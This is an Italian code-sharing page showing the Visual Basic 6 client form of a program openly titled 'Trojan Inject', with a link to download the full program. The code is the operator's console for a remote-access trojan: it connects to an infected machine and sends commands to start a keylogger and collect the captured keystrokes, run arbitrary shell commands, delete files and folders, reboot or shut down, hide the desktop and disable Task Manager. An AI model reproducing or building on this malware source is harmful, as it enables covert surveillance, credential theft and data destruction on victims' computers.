Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Inject - frmClient.frm

frmClient.frm

Caricato da:
Scarica il programma completo

  1. Dim Stat As Boolean
  2.  
  3. Private Sub cmdclosecd_Click()
  4. If Stat = True Then
  5. WinClient.SendData "$CloseCDRom"
  6. Else
  7. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  8. End If
  9. End Sub
  10.  
  11. Private Sub cmdconnect_Click()
  12. If Len(txtip.Text) > 0 Then
  13. cmdconnect.Enabled = False
  14. cmddisconnect.Enabled = True
  15. txtip.Enabled = False
  16. txtport.Enabled = False
  17. WinClient.Close
  18. WinClient.Connect txtip.Text, txtport.Text
  19. Else
  20. MsgBox "Compilare il campo ip per connettersi all'host!", vbExclamation, Me.Caption
  21. End If
  22. End Sub
  23.  
  24. Private Sub cmddisabletask_Click()
  25. If Stat = True Then
  26. WinClient.SendData "$DisableTask"
  27. Else
  28. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  29. End If
  30. End Sub
  31.  
  32. Private Sub cmddisconnect_Click()
  33. If Stat = True Then
  34. WinClient.SendData "$Close"
  35. End If
  36. WinClient.Close
  37. cmdconnect.Enabled = True
  38. cmddisconnect.Enabled = False
  39. txtip.Enabled = True
  40. txtport.Enabled = True
  41. End Sub
  42.  
  43. Private Sub cmddisconnectpc_Click()
  44. If Stat = True Then
  45. WinClient.SendData "$Disconnect"
  46. Else
  47. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  48. End If
  49. End Sub
  50.  
  51. Private Sub cmdenabletask_Click()
  52. If Stat = True Then
  53. WinClient.SendData "$EnableTask"
  54. Else
  55. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  56. End If
  57. End Sub
  58.  
  59. Private Sub cmdhidebar_Click()
  60. If Stat = True Then
  61. WinClient.SendData "$HideBar"
  62. Else
  63. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  64. End If
  65. End Sub
  66.  
  67. Private Sub cmdhidedesk_Click()
  68. If Stat = True Then
  69. WinClient.SendData "$HideDesktop"
  70. Else
  71. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  72. End If
  73. End Sub
  74.  
  75. Private Sub cmdinvmouse_Click()
  76. If Stat = True Then
  77. WinClient.SendData "$InvertiMouse"
  78. Else
  79. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  80. End If
  81. End Sub
  82.  
  83. Private Sub cmdkillfile_Click()
  84. If Stat = True Then
  85. Dim File As String
  86. File = InputBox("Inserire il percorso del file da eliminare:", Me.Caption)
  87. WinClient.SendData "$Kill " & File
  88. Else
  89. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  90. End If
  91. End Sub
  92.  
  93. Private Sub cmdmsg_Click()
  94. If Stat = True Then
  95. frmMsg.Show
  96. Else
  97. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  98. End If
  99. End Sub
  100.  
  101. Private Sub cmdopencd_Click()
  102. If Stat = True Then
  103. WinClient.SendData "$OpenCDRom"
  104. Else
  105. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  106. End If
  107. End Sub
  108.  
  109. Private Sub cmdrebootpc_Click()
  110. If Stat = True Then
  111. WinClient.SendData "$Reboot"
  112. Else
  113. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  114. End If
  115. End Sub
  116.  
  117. Private Sub cmdreimpmouse_Click()
  118. If Stat = True Then
  119. WinClient.SendData "$ReimpostaMouse"
  120. Else
  121. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  122. End If
  123. End Sub
  124.  
  125. Private Sub cmdrmdir_Click()
  126. If Stat = True Then
  127. Dim Dir As String
  128. Dir = InputBox("Inserire il percorso della cartella da eliminare:", Me.Caption)
  129. WinClient.SendData "$RmDir " & Dir
  130. Else
  131. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  132. End If
  133. End Sub
  134.  
  135. Private Sub cmdsendcmd_Click()
  136. If Stat = True Then
  137. Dim ShellCmd As String
  138. ShellCmd = InputBox("Inserire il comando da inviare al server:", Me.Caption)
  139. WinClient.SendData "$ShellCmd " & ShellCmd
  140. Else
  141. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  142. End If
  143. End Sub
  144.  
  145. Private Sub cmdshowbar_Click()
  146. If Stat = True Then
  147. WinClient.SendData "$ShowBar"
  148. Else
  149. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  150. End If
  151. End Sub
  152.  
  153. Private Sub cmdshowdesk_Click()
  154. If Stat = True Then
  155. WinClient.SendData "$ShowDesktop"
  156. Else
  157. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  158. End If
  159. End Sub
  160.  
  161. Private Sub cmdshutdownpc_Click()
  162. If Stat = True Then
  163. WinClient.SendData "$ShutDown"
  164. Else
  165. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  166. End If
  167. End Sub
  168.  
  169. Private Sub cmdstartkey_Click()
  170. If Stat = True Then
  171. WinClient.SendData "$StartKeyLogger"
  172. frmKeyLogs.Show
  173. Else
  174. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  175. End If
  176. End Sub
  177.  
  178. Private Sub cmdstopkey_Click()
  179. If Stat = True Then
  180. WinClient.SendData "$StopKeyLogger"
  181. Else
  182. MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
  183. End If
  184. End Sub
  185.  
  186. Private Sub Form_Unload(Cancel As Integer)
  187. End
  188. End Sub
  189.  
  190. Private Sub WinClient_Connect()
  191. Stat = True
  192. lblstat.Caption = "Connesso"
  193. End Sub
  194.  
  195. Private Sub WinClient_DataArrival(ByVal bytesTotal As Long)
  196. Dim Data As String
  197. WinClient.GetData Data
  198. If InStr(Data, "$Key ") Then
  199. Dim Keys As String
  200. Keys = Replace(Data, "$Key ", "")
  201. frmKeyLogs.txtkey.Text = frmKeyLogs.txtkey.Text & "[" & Time & "]" & Keys & vbCrLf
  202. End If
  203. End Sub
  204.  
  205. Private Sub WinClient_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  206. MsgBox "Errore nella connessione al server!", vbCritical, Me.Caption
  207. Stat = False
  208. lblstat.Caption = "Non connesso"
  209. WinClient.Close
  210. cmdconnect.Enabled = True
  211. cmddisconnect.Enabled = False
  212. txtip.Enabled = True
  213. txtport.Enabled = True
  214. End Sub